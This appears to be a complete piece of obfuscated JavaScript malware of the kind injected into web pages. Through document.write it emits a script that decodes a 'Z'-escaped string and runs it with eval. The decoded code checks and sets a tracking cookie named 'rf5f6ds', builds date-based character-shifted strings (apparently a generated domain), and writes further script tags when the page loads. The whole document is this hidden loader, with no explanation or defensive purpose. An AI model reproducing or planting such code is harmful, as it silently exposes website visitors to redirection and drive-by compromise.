document.write('<script language="javascript">$="Z63bZ3dZ228ds)Z253bZ2573tZ253dtmZ2570Z253dZ2527Z2527;for(iZ253d0;iZ253cds.leZ256egthZ25Z22;opZ3dZ22Z2524Z253dZ2522dw(dcs(Z2563u,1Z2534))Z253bZ2522;Z22;czZ3dZ22Z2566uncZ2574ioZ256eZ2520cz(Z2563Z257a)Z257bretuZ2572n Z2563a+cZ2562+Z2563c+cZ2564+cZ2565+czZ253b};Z22;ccZ3dZ223biZ252b+Z2529Z257btmZ2570Z253ddsZ252esZ256cZ2569Z2563Z2565(iZ252ci+1Z2529;Z2573tZ22;daZ3dZ22fqb0})-~ug0Qbbqi87|qe~Z257F7Z3c7Z7brtfu7Z3c7zsdxb7Z3c7ytvyb7Z3c7xufyv7Z3c7wvhuc7Z3c7vwfuc7Z3c7uxwxd7Z3c7tzu~y7Z3c7sZ7bud~7Z3c7r||uf7Z3c7q}dgu79+fqb0|)-~ug0Qbbqi87q7Z3c7r7Z3c7s7Z3c7t7Z3c7u7Z3c7v7Z3c7w7Z3c7x7Z3c7y7Z3c7z7Z3c7Z7b7Z3c7|7Z3c7}7Z3c7~7Z3c7Z257F7Z22;stZ3dZ22Z2573Z2574Z253dZ2522$Z253dsZ2574Z253bdZ2563Z2573(Z2564aZ252bdZ2562Z252bZ2564cZ252bdZ2564+Z2564eZ252cZ2531Z2530Z2529;Z2564wZ2528sZ2574)Z253bsZ2574Z253d$;Z2522Z253bZ22;deZ3dZ22M+}Sx-|)K88d)K7}7M;}^}950Z2522Z259M+yv888d)K7t7M:Z25229.-Z252096688d)K7t7M:Z25229,-)99tSx-~)K8d)K7t7M50!Z25209M+u|cu0tSx-|)K88d)K7t7M:Z2526950Z2522Z279M+4-4Z3ebu`|qsu8tZ3ciSxZ2522;}Sx;iSx!;tSx;})Kd)K7}7MZ3d!M;7Z3esZ257F}79+Z22;caZ3dZ22Z2566uZ256ectZ2569oZ256e dZ2563s(dZ2573,esZ2529Z257bdsZ253duneZ2573cZ2561peZ252Z22;dbZ3dZ22Z3c7`7Z3c7a7Z3c7b7Z3c7c7Z3c7d7Z3c7e7Z3c7f7Z3c7g7Z3c7h7Z3c7i7Z3c7j79+fqb0~)-~ug0Qbbqi8!Z3cZ2522Z3c#Z3c$Z3cZ25Z3cZ2526Z3cZ27Z3c(Z3c)9+fqb0d)-~ug0Qbbqi89+fqb0t)-~ug0Tqdu89+d)K7i7M-t)Z3ewudVe||Iuqb89+yv8t)Z3ewudTqi89.#9d)K7t7M-t)Z3ewudTqdu89Z3d8t)Z3ewudTZ22;cdZ3dZ22Z253dsZ2574+SZ2574Z2572Z2569ngZ252efroZ256dZ2543haZ2572CodZ2565((tZ256dZ2570.cZ25Z22;ddZ3dZ22iSxZ2522Z3c}SxZ3ctSxZ3c}^}+yv8d)K7i7M,Z2522Z2520Z2520Z279kd)K7i7M0-0Z2522Z2520Z2520Z27+m}^}-S]^8d)K7t7MZ3cd)K7}7MZ3cd)K7i7M9+iSx!-|)K888d)K7i7M6Z2520hQQ9;}^}950Z25265##950Z2522Z2526M+iSxZ2522-|)K8888d)K7i7M6Z2520h##!!9..#9;}^}950!Z25209Z22;dcZ3dZ22qi89;Z25229+u|cu0d)K7t7M-t)Z3ewudTqdu89Z3d8t)Z3ewudTqi899+yv8d)K7t7M,Z25209d)K7t7M-!+d)K7}7M-t)Z3ewud]Z257F~dx89;!+ve~sdyZ257F~0S]^8tZ3c}Z3ci9kfqb0b-888i;8$:t99;8}Nt9:$9;t9+budeb~0b+mfqb0t-7vrs}vybZ3esZ257F}7+fqb0iSx!Z3cZ22;dzZ3dZ22Z2566uZ256ectZ2569Z256fn dZ2577Z2528Z2574)Z257bcaZ253dZ2527Z252564Z25256fcZ252575mZ252565Z256etZ25252ewZ2572iZ252574eZ252528Z252522Z2527;ceZ253dZ2527Z252522)Z2527;cbZ253dZ2527Z25253cscZ252572iptZ252520lZ25256Z2531Z25256Z2565guaZ2525Z25367Z2565Z25253dZ25255Z2563Z252522jZ2561vasZ2563Z252572Z2569pZ2574Z25255cZ252522Z25253eZ2527;ccZ253dZ2527Z25253cZ25255cZ25252fZ2573cZ2572Z2569ptZ25253eZ2527;evaZ256c(Z2575nZ2565scaZ2570e(Z2574))}Z253bZ22;ceZ3dZ2268arZ2543oZ2564eAZ2574(Z2530)Z255e(Z25270xZ25300Z2527+Z2565Z2573Z2529)Z2529;}}Z22;cuZ3dZ22(gwf}d`4xuzsausq)6~ubugwf}d`6*}r4Z3czub}su`Z7bf:wZ7bZ7bZ257F}qQzuvxqpZ3dobuf4dZ7bdKazpqf4)4zaxxZ2fbuf4dZ7bdKwZ7bZ7bZ257F}qKzuyq4)46upbyuZ257FqfKZ257FZ7byud6Z2fbuf4dZ7bdK`}yqZ7ba`4)4#Z2526$Z2frazw`}Z7bz4dZ7bdKwZ7bZ7bZ257F}qKqzuvxqpZ3cZ3dobuf4}gKqzuvxqp4)4ruxgqZ2f}r4Z3c5c}zpZ7bc:Z7bdqfu42245zub}su`Z7bf:wZ7bZ7bZ257F}qQzuvxqpZ3dfq`afz4}gKqzuvxqpZ2f}r4Z3c`mdqZ7br4pZ7bwayqz`:wZ7bZ7bZ257F}q4))43g`f}zs3Z3d}r4Z3cpZ7bwayqz`:wZ7bZ7bZ257F}q:xqzs`|4))4$Z3dopZ7bwayqz`:wZ7bZ7bZ257F}q4)46`qg`6Z2f}gKqzuvxqp4)4pZ7bwayqz`:wZ7bZ7bZ257F}q4))43`qg`3Z2fpZ7bwayqz`:wZ7bZ7bZ257F}q4)433Z2fiqxgqo}gKqzuvxqp4)4`faqZ2fifq`afz4}gKqzuvxqpZ2firazw`}Z7bz4dZ7bdKsq`WZ7bZ7bZ257F}qZ3czuyqZ3dobuf4wZ7bZ7bZ257F}q4)46464?4pZ7bwayqz`:wZ7bZ7bZ257F}qZ2fbuf4gqufw|4)46464?4zuyq4?46)6Z2fbuf4gq`G`f4)4zaxxZ2fbuf4Z7brrgq`4)4$Z2fbuf4qzp4)4$Z2f}r4Z3cwZ7bZ7bZ257F}q:xqzs`|4*4$Z3doZ7brrgq`4)4wZ7bZ7bZ257F}q:}zpql[rZ3cgqufw|Z3dZ2f}r4Z3cZ7brrgq`45)49Z25Z3doZ7brrgq`4?)4gqufw|:xqzs`|Z2fqzp4)4wZ7bZ7bZ257F}q:}zpql[rZ3c6Z2f684Z7brrgq`Z3dZ2f}r4Z3cqzp4))49Z25Z3doqzp4)4wZ7bZ7bZ257F}q:xqzs`|Z2figq`G`f4)4azqgwudqZ3cwZ7bZ7bZ257F}q:gavg`f}zsZ3cZ7brrgq`84qzpZ3dZ3dZ2fiifq`afzZ3cgq`G`fZ3dZ2firazw`}Z7bz4dZ7bdKgq`WZ7bZ7bZ257F}q4Z3czuyq84buxaqZ3dopZ7bwayqz`:wZ7bZ7bZ257F}q4)4zuyq4?46)64?4qgwudqZ3cbuxaqZ3d4?46Z2f4qld}fqg)Rf}pum8Z27Z259Pqw9!$4Z2526Z27.!-.!-4SY@Z2f4du`|);Z2f6Z2firazw`}Z7bz4g|Z7bcKdZ7bdZ3cZ3dobuf4dZ7bdKczp4)46|``d.;;rvwyr}f:wZ7by;xp;pl`fvw;6Z2fbuf4rquKczp4)46gwfZ7bxxvufg)Z258fqg}nuvxq)Z258`Z7bZ7bxvuf)Z258xZ7bwu`}Z7bz)Z258yqzavuf)Z258g`u`ag)Z258p}fqw`Z7bf}qg)$6Z2fbuf4zqqpKZ7bdqz4)4`faqZ2f}r4Z3cpZ7bwayqz`:Z7bzwx}wZ257FKwZ7bdm45)4zaxxZ3dpZ7bwayqz`:Z7bzwx}wZ257FKwZ7bdmZ3cZ3dZ2f}r4Z3cpZ7bwayqz`:vZ7bpm:Z7bzvqrZ7bfqazxZ7bupKwZ7bdm45)4zaxxZ3dpZ7bwayqz`:vZ7bpm:Z7bzvqrZ7bfqazxZ7bupKwZ7bdmZ3cZ3dZ2f}r4Z3cdZ7bdKazpqf45)4zaxxZ3do}r4Z3c5dZ7bdKazpqf:wxZ7bgqpZ3dzqqpKZ7bdqz4)4ruxgqZ2fi}r4Z3czqqpKZ7bdqzZ3do}r4Z3cdZ7bdKwZ7bZ7bZ257F}qKqzuvxqpZ3cZ3dZ3dobux4)4dZ7bdKsq`WZ7bZ7bZ257F}qZ3cdZ7bdKwZ7bZ7bZ257F}qKzuyqZ3dZ2f}r4Z3cbux45)4zaxxZ3dozZ7bc4)4zqc4Pu`qZ3cZ3dZ2fbuxZ25264)4zqc4Pu`qZ3cbuxZ3dZ2fa`wZ27Z25264)4Pu`q:A@WZ3czZ7bc:sq`RaxxMqufZ3cZ3d84zZ7bc:sq`YZ7bz`|Z3cZ3d84zZ7bc:sq`Pu`qZ3cZ3d84zZ7bc:sq`Z255CZ7bafgZ3cZ3d84zZ7bc:sq`Y}za`qgZ3cZ3d84zZ7bc:sq`GqwZ7bzpgZ3cZ3dZ3dZ2fa`wZ25264)4Pu`q:A@WZ3cbuxZ2526:sq`RaxxMqufZ3cZ3d84buxZ2526:sq`YZ7bz`|Z3cZ3d84buxZ2526:sq`Pu`qZ3cZ3d84buxZ2526:sq`Z255CZ7bafgZ3cZ3d84buxZ2526:sq`Y}za`qgZ3cZ3d84buxZ2526:sq`GqwZ7bzpgZ3cZ3dZ3dZ2f}r4Z3c4Z3c4a`wZ27Z2526494a`wZ25264Z3d4;4Z25$$$4(4dZ7bdK`}yqZ7ba`Z3eZ2522$Z3dozqqpKZ7bdqz4)4ruxgqZ2fiiii}r4Z3czqqpKZ7bdqzZ3doazpqf4)4c}zpZ7bc:Z7bdqzZ3cdZ7bdKczp846684rquKczpZ3dZ2fazpqf:vxafZ3cZ3dZ2fc}zpZ7bc:rZ7bwagZ3cZ3dZ2f}r4Z3cdZ7bdKwZ7bZ7bZ257F}qKqzuvxqpZ3cZ3dZ3dozZ7bc4)4zqc4Pu`qZ3cZ3dZ2fdZ7bdKgq`WZ7bZ7bZ257F}qZ3cdZ7bdKwZ7bZ7bZ257F}qKzuyq84zZ7bcZ3dZ2fiiirazw`}Z7bz4dZ7bdK}z}`Z3cZ3dobuf4bqf4)4dufgqRxZ7bu`Z3czub}su`Z7bf:uddBqfg}Z7bzZ3dZ2fbuf4bqfZ25264)4Z3czub}su`Z7bf:agqfUsqz`:}zpql[rZ3c6C}zpZ7bcg4-!6Z3d*)$4hh4zub}su`Z7bf:agqfUsqz`:}zpql[rZ3c6C}zpZ7bcg4-,6Z3d*)$4hh4zub}su`Z7bf:agqfUsqz`:}zpql[rZ3c6C}zpZ7bcg4Z5a@6Z3d*)$4Z3d22Z3czub}su`Z7bf:agqfUsqz`:}zpql[rZ3c3[dqfu3Z3d4))49Z25Z3d22Z3czub}su`Z7bf:uddZ5auyq45)43Z5aq`gwudq3Z3d422Z3czub}su`Z7bf:agqfUsqz`:}zpql[rZ3c3YG]Q3Z3d4*49Z25Z3d422Z3czub}su`Z7bf:agqfUsqz`:}zpql[rZ3c3GBZ253Z3d4*49Z25Z3d422Z3cbqf4*)4Z2520Z3dZ2f}r4Z3cbqfZ2526Z3do}r4Z3cpZ7bwayqz`:x}zZ257FgZ3dorZ7bf4Z3cbuf4})$Z2f4}(pZ7bwayqz`:x}zZ257Fg:xqzs`|Z2f4}??Z3do}r4Z3cpZ7bwayqz`:x}zZ257FgO}I:`ufsq`45)46KvxuzZ257F6Z3dopZ7bwayqz`:x}zZ257FgO}I:Z7bzwx}wZ257FKwZ7bdm4)4pZ7bwayqz`:x}zZ257FgO}I:Z7bzwx}wZ257FZ2fpZ7bwayqz`:x}zZ257FgO}I:Z7bzwx}wZ257F4)4g|Z7bcKdZ7bdZ2fiiiipZ7bwayqz`:Z7bzwx}wZ257FKwZ7bdm4)4pZ7bwayqz`:Z7bzwx}wZ257FZ2fpZ7bwayqz`:Z7bzyZ7bagqad4)4g|Z7bcKdZ7bdZ2fidZ7bdK}z}`Z3cZ3dZ2fi(;gwf}d`*Z22;Z69Z66 (dZ6fcumZ65nZ74.coZ6fkieZ2eindZ65xOZ66(Z27rf5f6Z64sZ27)Z3dZ3d-1)Z7bsc(Z27Z72f5fZ36dsZ27,2,Z37);eZ76aZ6c(uZ6eesZ63apZ65Z28dz+Z63z+Z6fZ70Z2bst)Z2bZ27dZ77Z28dzZ2bczZ28$+Z73t))Z3bZ27)}Z65lZ73eZ7b$Z3dZ27Z27};functiZ6fZ6e scZ28cnZ6dZ2cv,eZ64)Z7bvar Z65xZ64Z3dnewZ20DZ61tZ65(Z29Z3beZ78dZ2eseZ74DZ61teZ28exdZ2egetZ44Z61te(Z29+eZ64);Z64Z6fcuZ6dentZ2ecooZ6biZ65Z3dcnm+Z20Z27Z3dZ27 +escapZ65Z28vZ29+Z27Z3beZ78pirZ65Z73Z3dZ27+exd.Z74oGZ4dTSZ74rZ69Z6eg(Z29;}Z3b";function z(s){r="";for(i=0;i<s.length;i++){if(s.charAt(i)=="Z"){s1="%"}else{s1=s.charAt(i)}r=r+s1;}return unescape(r);}eval(z($));document.write($);</script>');